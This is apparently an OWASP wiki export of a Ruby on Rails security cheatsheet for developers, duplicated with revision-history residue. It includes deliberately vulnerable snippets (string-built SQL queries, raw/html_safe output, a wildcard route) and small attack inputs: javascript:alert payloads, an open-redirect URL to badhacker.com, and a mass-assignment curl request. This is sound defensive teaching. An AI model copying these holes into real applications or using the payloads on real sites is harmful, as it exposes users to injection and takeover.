This ''Cheatsheet'' intends to provide quick basic Ruby on Rails security tips for developers. It complements, augments or emphasizes points brought up in the [http://guides.rubyonrails.org/security.html rails security guide] from rails core. The Rails framework abstracts developers from quite a bit of tedious work and provides the means to accomplish complex tasks quickly and with ease. New developers, those unfamiliar with the inner-workings of Rails, likely need a basic set of guidelines to secure fundamental aspects of their application. The intended purpose of this doc is to be that guide.<br />
<br />
= Items =<br />
== Command Injection == <br />
<br />
Ruby offers a function called “eval” which will dynamically build new Ruby code based on Strings. It also has a number of ways to call system commands.<br />
<br />
eval("ruby code here")<br />
System("os command here")<br />
`ls -al /` (backticks contain os command)<br />
Kernel.exec("os command here")<br />
open("| os command here")<br />
<br />
While the power of these commands is quite useful, extreme care should be taken when using them in a Rails based application. Usually, its just a bad idea. If need be, a whitelist of possible values should be used and any input should be validated as thoroughly as possible. The Ruby Security Reviewer's Guide has a [http://code.google.com/p/ruby-security/wiki/Guide#Good_ol%27_shell_injection section on injection] and there are a number of OWASP references for it, starting at the top: [https://www.owasp.org/index.php/Command_Injection Command Injection].<br />
<br />
== SQL Injection == <br />
<br />
Ruby on Rails is often used with an ORM called ActiveRecord, though it is flexible and can be used with other data sources. Typically very simple Rails applications use methods on the Rails models to query data. Many use cases protect for SQL Injection out of the box. However, it is possible to write code that allows for SQL Injection. <br />
<br />
Here is an example (Rails 2.X style):<br />
<br />
@projects = Project.find(:all, :conditions => “name like #{params[:name]}”)<br />
<br />
A Rails 3.X example:<br />
<br />
name = params[:name]<br />
@projects = Project.where(“name like ‘“ + name + “‘“);<br />
<br />
In both of these cases, the statement is injectable because the name parameter is not escaped. <br />
<br />
Here is the idiom for building this kind of statement:<br />
<br />
@projects = Project.find(:all, :conditions => [ “name like ?”, “#{params[:name]}”] )<br />
<br />
An AREL based solution:<br />
<br />
@projects = Project.where("name like ?", "%#{params[:name]}%")<br />
<br />
Use caution not to build SQL statements based on user controlled input. A list of more realistic and detailed examples is here: [http://rails-sqli.org rails-sqli.org]. OWASP has extensive information about [https://www.owasp.org/index.php/SQL_Injection SQL Injection].<br />
<br />
== Cross-site Scripting (XSS) == <br />
<br />
By default, in Rails 3.0 protection against XSS comes as the default behavior. When string data is shown in views, it is escaped prior to being sent back to the browser. This goes a long way, but there are common cases where developers bypass this protection - for example to enable rich text editing. In the event that you want to pass variables to the front end with tags intact, it is tempting to do the following in your .erb file (ruby markup).<br />
<br />
<%= raw @product.name %> <br />
<%= @product.name.html_safe %> These are examples of how NOT to do it!<br />
<%= content_tag @product.name %><br />
<br />
Unfortunately, any field that uses raw like this will be a potential XSS target. Note that there are also widespread misunderstandings about html_safe. [http://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html This writeup] describes the underlying SafeBuffer mechanism in detail. Other tags that change the way strings are prepared for output can introduce similar issues, including content_tag.<br />
<br />
If you must accept HTML content from users, consider a markup language for rich text in an application (Examples include: markdown and textile) and disallow HTML tags. This helps ensures that the input accepted doesn’t include HTML content that could be malicious. If you cannot restrict your users from entering HTML, consider implementing content security policy to disallow the execution of any javascript. And finally, consider using the #sanitize method that let's you whitelist allowed tags. Be careful, this method has been shown to be flawed numerous times and will never be a complete solution.<br />
<br />
An often overlooked XSS attack vector is the href value of a link:<br />
<br />
<%= link_to “Personal Website”, @user.website %><br />
<br />
If @user.website contains a link that starts with “javascript:”, the content will execute when a user clicks the generated link:<br />
<br />
<a href=”javascript:alert(‘Haxored’)”>Personal Website</a><br />
<br />
OWASP provides more general information about XSS in a top level page: [https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 OWASP Cross Site Scripting].<br />
<br />
== Sessions ==<br />
<br />
By default, Ruby on Rails uses a Cookie based session store. What that means is that unless you change something, the session will not expire on the server. That means that some default applications may be vulnerable to replay attacks. It also means that sensitive information should never be put in the session.<br />
<br />
The best practice is to use a database based session, which thankfully is very easy with Rails:<br />
<br />
Project::Application.config.session_store :active_record_store<br />
<br />
There is an [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet OWASP Session Management Cheat Sheet].<br />
<br />
== Authentication == <br />
<br />
Generally speaking, Rails does not provide authentication by itself. However, most developers using Rails leverage libraries such as Devise or AuthLogic to provide authentication. To enable authentication with Devise, one simply has to put the following in a controller:<br />
<br />
class ProjectController < ApplicationController<br />
before_filter :authenticate_user<br />
<br />
As with other methods, this supports exceptions. Note that by default Devise only requires 6 characters for a password. The minimum can be changed in: /config/initializers/devise.rb<br />
<br />
config.password_length = 8..128<br />
<br />
There are several possible ways to enforce complexity. One is to put a Validator in the user model.<br />
<br />
validate :password_complexity<br />
def password_complexity<br />
if password.present? and not password.match(/\A(?=.*[a-z])(?=.*[A-Z])(?=.*\d).+\z/)<br />
errors.add :password, "must include at least one lowercase letter, one uppercase letter, and one digit"<br />
end<br />
end<br />
<br />
There is an [https://www.owasp.org/index.php/Authentication_Cheat_Sheet OWASP Authentication Cheat Sheet].<br />
<br />
== Insecure Direct Object Reference or Forceful Browsing == <br />
<br />
By default, Ruby on Rails apps use a RESTful uri structure. That means that paths are often intuitive and guessable. To protect against a user trying to access or modify data that belongs to another user, it is important to specifically control actions. Out of the gate on a vanilla Rails application, there is no such built in protection. It is possible to do this by hand at the controller level. <br />
<br />
It is also possible, and probably recommended, to consider resource-based access control libraries such as [https://github.com/CanCanCommunity/cancancan cancancan] (cancan replacement) or [https://github.com/elabs/pundit pundit]to do this. This ensures that all operations on a database object are authorized by the business logic of the application. <br />
<br />
More general information about this class of vulnerability is in the [https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References OWASP Top 10 Page].<br />
<br />
== CSRF (Cross Site Request Forgery) ==<br />
<br />
Ruby on Rails has specific, built in support for CSRF tokens. To enable it, or ensure that it is enabled, find the base ApplicationController and look for a directive such as the following:<br />
<br />
class ApplicationController < ActionController::Base<br />
protect_from_forgery<br />
<br />
Note that the syntax for this type of control includes a way to add exceptions. Exceptions may be useful for API’s or other reasons - but should be reviewed and consciously included. In the example below, the Rails ProjectController will not provide CSRF protection for the show method.<br />
<br />
class ProjectController < ApplicationController<br />
protect_from_forgery :except => :show<br />
<br />
Also note that by default Rails does not provide CSRF protection for any HTTP GET request.<br />
<br />
There is a top level OWASP page for [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 CSRF].<br />
<br />
== Mass Assignment and Strong Parameters == <br />
<br />
Although the major issue with Mass Assignment has been fixed by default in base Rails specifically when generating new projects, it still applies to older and upgraded projects so it is important to understand the issue and to ensure that only attributes that are intended to be modifiable are exposed.<br />
<br />
When working with a model, the attributes on the model will not be accessible to forms being posted unless a programmer explicitly indicates that:<br />
<br />
class Project < ActiveRecord::Base<br />
attr_accessible :name, :admin<br />
end<br />
<br />
With the admin attribute accessible based on the example above, the following could work:<br />
<br />
curl -d “project[name]=triage&project[admin]=1” host:port/projects<br />
<br />
Review accessible attributes to ensure that they should be accessible. If you are working in Rails < 3.2.3 you should ensure that your attributes are whitelisted with the following:<br />
<br />
config.active_record.whitelist_attributes = true<br />
<br />
In Rails 4.0 strong parameters will be the recommended approach for handling attribute visibility. It is also possible to use the strong_parameters gem with Rails 3.x, and the strong_parameters_rails2 gem for Rails 2.3.x applications.<br />
<br />
== Redirects and Forwards == <br />
<br />
Web applications often require the ability to dynamically redirect users based on client-supplied data. To clarify, dynamic redirection usually entails the client including a URL in a parameter within a request to the application. Once received by the application, the user is redirected to the URL specified in the request. For example:<br />
<br />
http://www.example.com/redirect?url=http://www.example_commerce_site.com/checkout<br />
<br />
The above request would redirect the user to http://www.example.com/checkout. The security concern associated with this functionality is leveraging an organization’s trusted brand to phish users and trick them into visiting a malicious site, in our example, “badhacker.com”. Example:<br />
<br />
http://www.example.com/redirect?url=http://badhacker.com<br />
<br />
The most basic, but restrictive protection is to use the :only_path option. Setting this to true will essentially strip out any host information. However, the :only_path option must be part of the first argument. If the first argument is not a hash table, then there is no way to pass in this option. In the absence of a custom helper or whitelist, this is one approach that can work:<br />
<br />
begin<br />
if path = URI.parse(params[:url]).path<br />
redirect_to path<br />
end<br />
rescue URI::InvalidURIError<br />
redirect_to '/'<br />
end<br />
<br />
If matching user input against a list of approved sites or TLDs against regular expression is a must, it makes sense to leverage a library such as URI.parse() to obtain the host and then take the host value and match it against regular expression patterns. Those regular expressions must, at a minimum, have anchors or there is a greater chance of an attacker bypassing the validation routine.<br />
<br />
Example:<br />
<br />
require ‘uri’<br />
host = URI.parse(“#{params[:url]}”).host<br />
validation_routine(host) if host # this can be vulnerable to javascript://trusted.com/%0Aalert(0) so check .scheme and .port too<br />
def validation_routine(host)<br />
# Validation routine where we use \A and \z as anchors *not* ^ and $<br />
# you could also check the host value against a whitelist<br />
end<br />
<br />
Also blind redirecting to user input parameter can lead to XSS. Example:<br />
redirect_to params[:to]<br />
<br />
http://example.com/redirect?to[status]=200&to[protocol]=javascript:alert(0)//<br />
<br />
The obvious fix for this type of vulnerability is to restrict to specific Top-Level Domains (TLDs), statically define specific sites, or map a key to it’s value. Example:<br />
<br />
ACCEPTABLE_URLS = {<br />
‘our_app_1’ => “https://www.example_commerce_site.com/checkout”,<br />
‘our_app_2’ => “https://www.example_user_site.com/change_settings”<br />
}<br />
<br />
http://www.example.com/redirect?url=our_app_1<br />
<br />
def redirect<br />
url = ACCEPTABLE_URLS[“#{params[:url]}”]<br />
redirect_to url if url<br />
end<br />
<br />
There is a more general OWASP resource about [https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet Unvalidated Redirects and Forwards].<br />
<br />
== Dynamic Render Paths == <br />
<br />
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.<br />
<br />
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.<br />
<br />
== Cross Origin Resource Sharing ==<br />
<br />
Occasionally, a need arises to share resources with another domain. For example, a file-upload function that sends data via an AJAX request to another domain. In these cases, the same-origin rules followed by web browsers must be bent. Modern browsers, in compliance with HTML5 standards, will allow this to occur but in order to do this; a couple precautions must be taken.<br />
<br />
When using a nonstandard HTTP construct, such as an atypical Content-Type header, for example, the following applies:<br />
<br />
The receiving site should whitelist only those domains allowed to make such requests as well as set the Access-Control-Allow-Origin header in both the response to the OPTIONS request and POST request. This is because the OPTIONS request is sent first, in order to determine if the remote or receiving site allows the requesting domain. Next, a second request, a POST request, is sent. Once again, the header must be set in order for the transaction to be shown as successful.<br />
<br />
When standard HTTP constructs are used:<br />
<br />
The request is sent and the browser, upon receiving a response, inspects the response headers in order to determine if the response can and should be processed.<br />
<br />
Whitelist in Rails:<br />
<br />
Gemfile<br />
gem 'rack-cors', :require => 'rack/cors'<br />
<br />
config/application.rb<br />
module Sample<br />
class Application < Rails::Application<br />
config.middleware.use Rack::Cors do<br />
allow do<br />
origins 'someserver.example.com'<br />
resource %r{/users/\d+.json},<br />
:headers => ['Origin', 'Accept', 'Content-Type'],<br />
:methods => [:post, :get]<br />
end<br />
end<br />
end<br />
end<br />
<br />
== Security-related headers ==<br />
<br />
To set a header value, simply access the response.headers object as a hash inside your controller (often in a before/after_filter).<br />
<br />
response.headers['X-header-name'] = 'value'<br />
<br />
'''Rails 4''' provides the "default_headers" functionality that will automatically apply the values supplied. This works for most headers in almost all cases.<br />
<br />
ActionDispatch::Response.default_headers = { <br />
'X-Frame-Options' => 'SAMEORIGIN', <br />
'X-Content-Type-Options' => 'nosniff', <br />
'X-XSS-Protection' => '1;'<br />
}<br />
<br />
Strict transport security is a special case, it is set in an environment file (e.g. production.rb)<br />
<br />
config.force_ssl = true<br />
<br />
For those not on the edge, there is a library ([https://github.com/twitter/secureheaders secure_headers]) for the same behavior with content security policy abstraction provided. It will automatically apply logic based on the user agent to produce a concise set of headers.<br />
<br />
== Business Logic Bugs ==<br />
<br />
Any application in any technology can contain business logic errors that result in security bugs. Business logic bugs are difficult to impossible to detect using automated tools. The best ways to prevent business logic security bugs are to do code review, pair program and write unit tests.<br />
<br />
== Attack Surface == <br />
<br />
Generally speaking, Rails avoids open redirect and path traversal types of vulnerabilities because of its /config/routes.rb file which dictates what URL’s should be accessible and handled by which controllers. The routes file is a great place to look when thinking about the scope of the attack surface. An example might be as follows:<br />
<br />
match ':controller(/:action(/:id(.:format)))' # this is an example of what NOT to do<br />
<br />
In this case, this route allows any public method on any controller to be called as an action. As a developer, you want to make sure that users can only reach the controller methods intended and in the way intended.<br />
<br />
== Sensitive Files == <br />
<br />
Many Ruby on Rails apps are open source and hosted on publicly available source code repositories. Whether that is the case or the code is committed to a corporate source control system, there are certain files that should be either excluded or carefully managed.<br />
<br />
/config/database.yml - May contain production credentials.<br />
/config/initializers/secret_token.rb - Contains a secret used to hash session cookie.<br />
/db/seeds.rb - May contain seed data including bootstrap admin user.<br />
/db/development.sqlite3 - May contain real data. <br />
<br />
<br />
== Encryption == <br />
<br />
Rails uses OS encryption. Generally speaking, it is always a bad idea to write your own encryption.<br />
<br />
Devise by default uses bcrypt for password hashing, which is an appropriate solution. Typically, the following config causes the 10 stretches for production: /config/initializers/devise.rb<br />
<br />
config.stretches = Rails.env.test? ? 1 : 10<br />
<br />
= Updating Rails and Having a Process for Updating Dependencies = <br />
<br />
In early 2013, a number of critical vulnerabilities were identified in the Rails Framework. Organizations that had fallen behind current versions had more trouble updating and harder decisions along the way, including patching the source code for the framework itself.<br />
<br />
An additional concern with Ruby applications in general is that most libraries (gems) are not signed by their authors. It is literally impossible to build a Rails based project with libraries that come from trusted sources. One good practice might be to audit the gems you are using.<br />
<br />
In general, it is important to have a process for updating dependencies. An example process might define three mechanisms for triggering an update of response: <br />
* Every month/quarter dependencies in general are updated.<br />
* Every week important security vulnerabilities are taken into account and potentially trigger an update.<br />
* In EXCEPTIONAL conditions, emergency updates may need to be applied.<br />
<br />
= Tools =<br />
<br />
Use [http://brakemanscanner.org/ brakeman], an open source code analysis tool for Rails applications, to identify many potential issues. It will not necessarily produce comprehensive security findings, but it can find easily exposed issues. A great way to see potential issues in Rails is to review the brakeman documentation of warning types.<br />
<br />
There are emerging tools that can be used to track security issues in dependency sets, like https://appcanary.com/ and https://gemnasium.com/.<br />
<br />
Another area of tooling is the security testing tool [http://gauntlt.org Gauntlt] which is built on cucumber and uses gherkin syntax to define attack files.<br />
<br />
Launched in May 2013 and very similiar to brakeman scanner, the [https://github.com/thesp0nge/dawnscanner dawnscanner] rubygem is a static analyzer for security issues that work with Rails, Sinatra and Padrino web applications. Version 0.60 has more than 30 ruby specific CVE security checks and future releases custom checks against Cross Site Scripting and SQL Injections will be added.<br />
<br />
= Authors and Primary Editors = <br />
Matt Konda - mkonda [at] jemurai.com<br/><br />
Neil Matatall neil [at] matatall.com<br/><br />
Ken Johnson cktricky [at] gmail.com<br/><br />
Justin Collins justin [at] presidentbeef.com<br/><br />
Jon Rose - jrose400 [at] gmail.com<br/><br />
Lance Vaughn - lance [at] cabforward.com<br/><br />
Jon Claudius - jonathan.claudius [at] gmail.com<br/><br />
Jim Manico jim [at] owasp.org<br/><br />
Aaron Bedra aaron [at] aaronbedra.com<br/><br />
Egor Homakov homakov [at] gmail.com<br/><br />
<br />
= Related Articles and References = <br />
<br />
* [http://guides.rubyonrails.org/security.html The Official Rails Security Guide]<br />
* [https://www.owasp.org/index.php/Category:OWASP_Ruby_on_Rails_Security_Guide_V2 OWASP Ruby on Rails Security Guide]<br />
* [http://code.google.com/p/ruby-security/wiki/Guide The Ruby Security Reviewers Guide]<br />
* [https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security The Ruby on Rails Security Mailing List]<br />
* [http://blog.codeclimate.com/blog/2013/03/27/rails-insecure-defaults/ Rails Insecure Defaults]<br />
<br />
== Other Cheatsheets ==<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
|}<br />
<br />
[[Category:Cheatsheets]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Ruby_on_Rails_Cheatsheet&diff=228394Ruby on Rails Cheatsheet2017-04-06T07:55:14Z<p>Ryan Dewhurst: Added open()</p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-<br />
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' <br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
This ''Cheatsheet'' intends to provide quick basic Ruby on Rails security tips for developers. It complements, augments or emphasizes points brought up in the [http://guides.rubyonrails.org/security.html rails security guide] from rails core. The Rails framework abstracts developers from quite a bit of tedious work and provides the means to accomplish complex tasks quickly and with ease. New developers, those unfamiliar with the inner-workings of Rails, likely need a basic set of guidelines to secure fundamental aspects of their application. The intended purpose of this doc is to be that guide.<br />
<br />
= Items =<br />
== Command Injection == <br />
<br />
Ruby offers a function called “eval” which will dynamically build new Ruby code based on Strings. It also has a number of ways to call system commands.<br />
<br />
eval("ruby code here")<br />
System("os command here")<br />
`ls -al /` (backticks contain os command)<br />
Kernel.exec("os command here")<br />
open("| os command here")<br />
<br />
While the power of these commands is quite useful, extreme care should be taken when using them in a Rails based application. Usually, its just a bad idea. If need be, a whitelist of possible values should be used and any input should be validated as thoroughly as possible. The Ruby Security Reviewer's Guide has a [http://code.google.com/p/ruby-security/wiki/Guide#Good_ol%27_shell_injection section on injection] and there are a number of OWASP references for it, starting at the top: [https://www.owasp.org/index.php/Command_Injection Command Injection].<br />
<br />
== SQL Injection == <br />
<br />
Ruby on Rails is often used with an ORM called ActiveRecord, though it is flexible and can be used with other data sources. Typically very simple Rails applications use methods on the Rails models to query data. Many use cases protect for SQL Injection out of the box. However, it is possible to write code that allows for SQL Injection. <br />
<br />
Here is an example (Rails 2.X style):<br />
<br />
@projects = Project.find(:all, :conditions => “name like #{params[:name]}”)<br />
<br />
A Rails 3.X example:<br />
<br />
name = params[:name]<br />
@projects = Project.where(“name like ‘“ + name + “‘“);<br />
<br />
In both of these cases, the statement is injectable because the name parameter is not escaped. <br />
<br />
Here is the idiom for building this kind of statement:<br />
<br />
@projects = Project.find(:all, :conditions => [ “name like ?”, “#{params[:name]}”] )<br />
<br />
An AREL based solution:<br />
<br />
@projects = Project.where("name like ?", "%#{params[:name]}%")<br />
<br />
Use caution not to build SQL statements based on user controlled input. A list of more realistic and detailed examples is here: [http://rails-sqli.org rails-sqli.org]. OWASP has extensive information about [https://www.owasp.org/index.php/SQL_Injection SQL Injection].<br />
<br />
== Cross-site Scripting (XSS) == <br />
<br />
By default, in Rails 3.0 protection against XSS comes as the default behavior. When string data is shown in views, it is escaped prior to being sent back to the browser. This goes a long way, but there are common cases where developers bypass this protection - for example to enable rich text editing. In the event that you want to pass variables to the front end with tags intact, it is tempting to do the following in your .erb file (ruby markup).<br />
<br />
<%= raw @product.name %> <br />
<%= @product.name.html_safe %> These are examples of how NOT to do it!<br />
<%= content_tag @product.name %><br />
<br />
Unfortunately, any field that uses raw like this will be a potential XSS target. Note that there are also widespread misunderstandings about html_safe. [http://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html This writeup] describes the underlying SafeBuffer mechanism in detail. Other tags that change the way strings are prepared for output can introduce similar issues, including content_tag.<br />
<br />
If you must accept HTML content from users, consider a markup language for rich text in an application (Examples include: markdown and textile) and disallow HTML tags. This helps ensures that the input accepted doesn’t include HTML content that could be malicious. If you cannot restrict your users from entering HTML, consider implementing content security policy to disallow the execution of any javascript. And finally, consider using the #sanitize method that let's you whitelist allowed tags. Be careful, this method has been shown to be flawed numerous times and will never be a complete solution.<br />
<br />
An often overlooked XSS attack vector is the href value of a link:<br />
<br />
<%= link_to “Personal Website”, @user.website %><br />
<br />
If @user.website contains a link that starts with “javascript:”, the content will execute when a user clicks the generated link:<br />
<br />
<a href=”javascript:alert(‘Haxored’)”>Personal Website</a><br />
<br />
OWASP provides more general information about XSS in a top level page: [https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 OWASP Cross Site Scripting].<br />
<br />
== Sessions ==<br />
<br />
By default, Ruby on Rails uses a Cookie based session store. What that means is that unless you change something, the session will not expire on the server. That means that some default applications may be vulnerable to replay attacks. It also means that sensitive information should never be put in the session.<br />
<br />
The best practice is to use a database based session, which thankfully is very easy with Rails:<br />
<br />
Project::Application.config.session_store :active_record_store<br />
<br />
There is an [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet OWASP Session Management Cheat Sheet].<br />
<br />
== Authentication == <br />
<br />
Generally speaking, Rails does not provide authentication by itself. However, most developers using Rails leverage libraries such as Devise or AuthLogic to provide authentication. To enable authentication with Devise, one simply has to put the following in a controller:<br />
<br />
class ProjectController < ApplicationController<br />
before_filter :authenticate_user<br />
<br />
As with other methods, this supports exceptions. Note that by default Devise only requires 6 characters for a password. The minimum can be changed in: /config/initializers/devise.rb<br />
<br />
config.password_length = 8..128<br />
<br />
There are several possible ways to enforce complexity. One is to put a Validator in the user model.<br />
<br />
validate :password_complexity<br />
def password_complexity<br />
if password.present? and not password.match(/\A(?=.*[a-z])(?=.*[A-Z])(?=.*\d).+\z/)<br />
errors.add :password, "must include at least one lowercase letter, one uppercase letter, and one digit"<br />
end<br />
end<br />
<br />
There is an [https://www.owasp.org/index.php/Authentication_Cheat_Sheet OWASP Authentication Cheat Sheet].<br />
<br />
== Insecure Direct Object Reference or Forceful Browsing == <br />
<br />
By default, Ruby on Rails apps use a RESTful uri structure. That means that paths are often intuitive and guessable. To protect against a user trying to access or modify data that belongs to another user, it is important to specifically control actions. Out of the gate on a vanilla Rails application, there is no such built in protection. It is possible to do this by hand at the controller level. <br />
<br />
It is also possible, and probably recommended, to consider resource-based access control libraries such as [https://github.com/CanCanCommunity/cancancan cancancan] (cancan replacement) or [https://github.com/elabs/pundit pundit]to do this. This ensures that all operations on a database object are authorized by the business logic of the application. <br />
<br />
More general information about this class of vulnerability is in the [https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References OWASP Top 10 Page].<br />
<br />
== CSRF (Cross Site Request Forgery) ==<br />
<br />
Ruby on Rails has specific, built in support for CSRF tokens. To enable it, or ensure that it is enabled, find the base ApplicationController and look for a directive such as the following:<br />
<br />
class ApplicationController < ActionController::Base<br />
protect_from_forgery<br />
<br />
Note that the syntax for this type of control includes a way to add exceptions. Exceptions may be useful for API’s or other reasons - but should be reviewed and consciously included. In the example below, the Rails ProjectController will not provide CSRF protection for the show method.<br />
<br />
class ProjectController < ApplicationController<br />
protect_from_forgery :except => :show<br />
<br />
Also note that by default Rails does not provide CSRF protection for any HTTP GET request.<br />
<br />
There is a top level OWASP page for [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 CSRF].<br />
<br />
== Mass Assignment and Strong Parameters == <br />
<br />
Although the major issue with Mass Assignment has been fixed by default in base Rails specifically when generating new projects, it still applies to older and upgraded projects so it is important to understand the issue and to ensure that only attributes that are intended to be modifiable are exposed.<br />
<br />
When working with a model, the attributes on the model will not be accessible to forms being posted unless a programmer explicitly indicates that:<br />
<br />
class Project < ActiveRecord::Base<br />
attr_accessible :name, :admin<br />
end<br />
<br />
With the admin attribute accessible based on the example above, the following could work:<br />
<br />
curl -d “project[name]=triage&project[admin]=1” host:port/projects<br />
<br />
Review accessible attributes to ensure that they should be accessible. If you are working in Rails < 3.2.3 you should ensure that your attributes are whitelisted with the following:<br />
<br />
config.active_record.whitelist_attributes = true<br />
<br />
In Rails 4.0 strong parameters will be the recommended approach for handling attribute visibility. It is also possible to use the strong_parameters gem with Rails 3.x, and the strong_parameters_rails2 gem for Rails 2.3.x applications.<br />
<br />
== Redirects and Forwards == <br />
<br />
Web applications often require the ability to dynamically redirect users based on client-supplied data. To clarify, dynamic redirection usually entails the client including a URL in a parameter within a request to the application. Once received by the application, the user is redirected to the URL specified in the request. For example:<br />
<br />
http://www.example.com/redirect?url=http://www.example_commerce_site.com/checkout<br />
<br />
The above request would redirect the user to http://www.example.com/checkout. The security concern associated with this functionality is leveraging an organization’s trusted brand to phish users and trick them into visiting a malicious site, in our example, “badhacker.com”. Example:<br />
<br />
http://www.example.com/redirect?url=http://badhacker.com<br />
<br />
The most basic, but restrictive protection is to use the :only_path option. Setting this to true will essentially strip out any host information. However, the :only_path option must be part of the first argument. If the first argument is not a hash table, then there is no way to pass in this option. In the absence of a custom helper or whitelist, this is one approach that can work:<br />
<br />
begin<br />
if path = URI.parse(params[:url]).path<br />
redirect_to path<br />
end<br />
rescue URI::InvalidURIError<br />
redirect_to '/'<br />
end<br />
<br />
If matching user input against a list of approved sites or TLDs against regular expression is a must, it makes sense to leverage a library such as URI.parse() to obtain the host and then take the host value and match it against regular expression patterns. Those regular expressions must, at a minimum, have anchors or there is a greater chance of an attacker bypassing the validation routine.<br />
<br />
Example:<br />
<br />
require ‘uri’<br />
host = URI.parse(“#{params[:url]}”).host<br />
validation_routine(host) if host # this can be vulnerable to javascript://trusted.com/%0Aalert(0) so check .scheme and .port too<br />
def validation_routine(host)<br />
# Validation routine where we use \A and \z as anchors *not* ^ and $<br />
# you could also check the host value against a whitelist<br />
end<br />
<br />
Also blind redirecting to user input parameter can lead to XSS. Example:<br />
redirect_to params[:to]<br />
<br />
http://example.com/redirect?to[status]=200&to[protocol]=javascript:alert(0)//<br />
<br />
The obvious fix for this type of vulnerability is to restrict to specific Top-Level Domains (TLDs), statically define specific sites, or map a key to it’s value. Example:<br />
<br />
ACCEPTABLE_URLS = {<br />
‘our_app_1’ => “https://www.example_commerce_site.com/checkout”,<br />
‘our_app_2’ => “https://www.example_user_site.com/change_settings”<br />
}<br />
<br />
http://www.example.com/redirect?url=our_app_1<br />
<br />
def redirect<br />
url = ACCEPTABLE_URLS[“#{params[:url]}”]<br />
redirect_to url if url<br />
end<br />
<br />
There is a more general OWASP resource about [https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet Unvalidated Redirects and Forwards].<br />
<br />
== Dynamic Render Paths == <br />
<br />
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.<br />
<br />
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.<br />
<br />
== Cross Origin Resource Sharing ==<br />
<br />
Occasionally, a need arises to share resources with another domain. For example, a file-upload function that sends data via an AJAX request to another domain. In these cases, the same-origin rules followed by web browsers must be bent. Modern browsers, in compliance with HTML5 standards, will allow this to occur but in order to do this; a couple precautions must be taken.<br />
<br />
When using a nonstandard HTTP construct, such as an atypical Content-Type header, for example, the following applies:<br />
<br />
The receiving site should whitelist only those domains allowed to make such requests as well as set the Access-Control-Allow-Origin header in both the response to the OPTIONS request and POST request. This is because the OPTIONS request is sent first, in order to determine if the remote or receiving site allows the requesting domain. Next, a second request, a POST request, is sent. Once again, the header must be set in order for the transaction to be shown as successful.<br />
<br />
When standard HTTP constructs are used:<br />
<br />
The request is sent and the browser, upon receiving a response, inspects the response headers in order to determine if the response can and should be processed.<br />
<br />
Whitelist in Rails:<br />
<br />
Gemfile<br />
gem 'rack-cors', :require => 'rack/cors'<br />
<br />
config/application.rb<br />
module Sample<br />
class Application < Rails::Application<br />
config.middleware.use Rack::Cors do<br />
allow do<br />
origins 'someserver.example.com'<br />
resource %r{/users/\d+.json},<br />
:headers => ['Origin', 'Accept', 'Content-Type'],<br />
:methods => [:post, :get]<br />
end<br />
end<br />
end<br />
end<br />
<br />
== Security-related headers ==<br />
<br />
To set a header value, simply access the response.headers object as a hash inside your controller (often in a before/after_filter).<br />
<br />
response.headers['X-header-name'] = 'value'<br />
<br />
'''Rails 4''' provides the "default_headers" functionality that will automatically apply the values supplied. This works for most headers in almost all cases.<br />
<br />
ActionDispatch::Response.default_headers = { <br />
'X-Frame-Options' => 'SAMEORIGIN', <br />
'X-Content-Type-Options' => 'nosniff', <br />
'X-XSS-Protection' => '1;'<br />
}<br />
<br />
Strict transport security is a special case, it is set in an environment file (e.g. production.rb)<br />
<br />
config.force_ssl = true<br />
<br />
For those not on the edge, there is a library ([https://github.com/twitter/secureheaders secure_headers]) for the same behavior with content security policy abstraction provided. It will automatically apply logic based on the user agent to produce a concise set of headers.<br />
<br />
== Business Logic Bugs ==<br />
<br />
Any application in any technology can contain business logic errors that result in security bugs. Business logic bugs are difficult to impossible to detect using automated tools. The best ways to prevent business logic security bugs are to do code review, pair program and write unit tests.<br />
<br />
== Attack Surface == <br />
<br />
Generally speaking, Rails avoids open redirect and path traversal types of vulnerabilities because of its /config/routes.rb file which dictates what URL’s should be accessible and handled by which controllers. The routes file is a great place to look when thinking about the scope of the attack surface. An example might be as follows:<br />
<br />
match ':controller(/:action(/:id(.:format)))' # this is an example of what NOT to do<br />
<br />
In this case, this route allows any public method on any controller to be called as an action. As a developer, you want to make sure that users can only reach the controller methods intended and in the way intended.<br />
<br />
== Sensitive Files == <br />
<br />
Many Ruby on Rails apps are open source and hosted on publicly available source code repositories. Whether that is the case or the code is committed to a corporate source control system, there are certain files that should be either excluded or carefully managed.<br />
<br />
/config/database.yml - May contain production credentials.<br />
/config/initializers/secret_token.rb - Contains a secret used to hash session cookie.<br />
/db/seeds.rb - May contain seed data including bootstrap admin user.<br />
/db/development.sqlite3 - May contain real data. <br />
<br />
<br />
== Encryption == <br />
<br />
Rails uses OS encryption. Generally speaking, it is always a bad idea to write your own encryption.<br />
<br />
Devise by default uses bcrypt for password hashing, which is an appropriate solution. Typically, the following config causes the 10 stretches for production: /config/initializers/devise.rb<br />
<br />
